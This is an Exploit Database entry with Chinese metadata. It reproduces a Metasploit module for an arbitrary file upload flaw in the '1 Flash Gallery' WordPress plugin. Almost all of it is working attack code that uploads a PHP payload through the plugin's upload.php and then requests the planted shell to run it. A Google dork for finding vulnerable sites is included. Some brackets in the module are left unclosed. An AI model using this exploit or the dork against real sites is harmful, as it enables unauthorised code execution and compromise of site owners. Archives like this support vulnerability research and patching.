WordPress Plugin 1 Flash Gallery 1.30 < 1.5.7a - Arbitrary File Upload (Metasploit)

Exploit Database
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作者： Ben Schmidt

日期： 2011-09-08
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/17801/

# Exploit Title: 1 Flash Gallery WordPress Plugin Arbitrary File Upload Exploit

# # Google Dork:inurl:"wp-content/plugins/1-flash-gallery"

# # Date: 09/06/2011

# # Author: Ben Schmidt

# # Software Link: http://downloads.wordpress.org/plugin/1-flash-gallery.1.5.6.zip

# # Version: v1.30 to v1.5.7a (tested on 1.5.6 and 1.5.7 prior to patch)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => '1 Flash Gallery WordPress Plugin File Upload Exploit',

'Description'=> %q{

This module exploits an arbitrary file upload vulnerability in

the '1 Flash Gallery' WordPress plugin.

'Author' => [ 'Ben Schmidt'],

'License'=> MSF_LICENSE,

'References' => ["http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" ],

'Privileged' => false,

'Payload'=>

{

'DisableNops' => true,

# Arbitrary big number. The payload gets sent as an HTTP

# POST request, so it's possible this might be smaller (maybe?)

# but very unlikely.

'Space' => 262144, # 256k

'Platform' => 'php',

'Arch' => ARCH_PHP,

'Targets'=> [[ 'Automatic', { }]],

'DefaultTarget' => 0,

'DisclosureDate' => 'Sept 6, 2011'

))

register_options([

OptString.new('URI', [true, "Path to WordPress", "/"]),

], self.class)

end

def exploit

boundary = rand_text_alphanumeric(6)

fn = rand_text_alphanumeric(8)

data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "

data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"

data << payload.encoded

data << "\r\n--#{boundary}--"

res = send_request_raw({

'uri' => datastore['URI'] + "/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",

'method'=> 'POST',

'data'=> data,

'headers' =>

{

'Content-Type' => 'multipart/form-data; boundary=' + boundary,

'Content-Length' => data.length,

}

}, 25)

if (res)

print_status("Successfully uploaded shell.")

shell_path = res.body.split("_")[0]

print_status("Trying to access shell at #{shell_path}...")

res = send_request_raw({

'uri' => datastore['URI'] + shell_path,

'method'=> 'GET',

}, 0.01)

else

print_error("Error uploading shell")

end

handler

end